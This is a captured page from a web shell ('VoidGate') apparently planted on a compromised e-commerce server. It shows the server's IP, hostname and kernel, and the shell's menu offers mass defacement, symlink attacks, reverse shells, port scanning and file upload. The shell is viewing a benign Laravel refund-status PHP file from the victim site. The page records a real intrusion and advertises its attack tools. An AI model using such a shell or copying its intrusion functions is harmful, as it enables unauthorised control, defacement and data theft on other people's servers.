ヤミRoot VoidGate
User / IP
:
216.73.217.162
Host / Server
:
15.235.182.215 / pollibazaar.com
System
:
Linux asia.cbnex.com 5.14.0-611.49.2.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Apr 30 09:05:08 EDT 2026 x86_64
Command
|
Upload
|
Create
Mass Deface
|
Jumping
|
Symlink
|
Reverse Shell
Ping
|
Port Scan
|
DNS Lookup
|
Whois
|
Header
|
cURL
:
/
home
/
pollibazaar
/
public_html
/
app
/
Services
/
Viewing: RefundStatusService.php
<?php namespace App\Services; use App\Traits\CustomerTrait; class RefundStatusService { use CustomerTrait; /** * @param object $request * @param object $refund * @param string $changeBy * @return array */ public function getRefundStatusData(object $request, object $refund, string $changeBy):array { return [ 'refund_request_id' => $refund['id'], 'change_by' => $changeBy, 'change_by_id' => $changeBy === 'seller' ? auth('seller')->id() : 1, 'status' => $request['refund_status'], 'message' => $request['approved_note'] ?? $request['rejected_note'] ?? null, 'approved_note' => $request['approved_note'] ?? null, 'rejected_note' => $request['rejected_note'] ?? null, ]; } public function getRefundStatusProcessData(object $request, object $orderDetails, object $refund, string|float|int $loyaltyPoint): array { $refundStatus = [ 'refund_request_id' => $refund['id'], 'change_by' => 'admin', 'change_by_id' => auth('admin')->id(), 'status' => $request['refund_status'], ]; $refundData = []; if ($request['refund_status'] == 'pending') { $orderDetails['refund_request'] = 1; } elseif ($request['refund_status'] == 'approved') { $orderDetails['refund_request'] = 2; $refundData['approved_note'] = $request['approved_note']; $refundStatus['message'] = $request['approved_note']; } elseif ($request['refund_status'] == 'rejected') { $orderDetails['refund_request'] = 3; $refundData['rejected_note'] = $request['rejected_note']; $refundStatus['message'] = $request['rejected_note']; } elseif ($request['refund_status'] == 'refunded') { $orderDetails['refund_request'] = 4; $refundData['payment_info'] = $request['payment_info']; $refundStatus['message'] = $request['payment_info']; $walletAddRefund = getWebConfig(name: 'wallet_add_refund'); if ($walletAddRefund == 1 && $request['payment_method'] == 'customer_wallet') { $this->createWalletTransaction(user_id: $refund['customer_id'], amount: usdToDefaultCurrency(amount: $refund['amount']), transaction_type: 'order_refund', reference: 'order_refund'); } } $refundData['status'] = $request['refund_status']; $refundData['change_by'] = 'admin'; return [ 'refund' => $refundData, 'orderDetails' => $orderDetails, 'refundStatus' => $refundStatus, ]; } }
Coded With 💗 by
0x6ick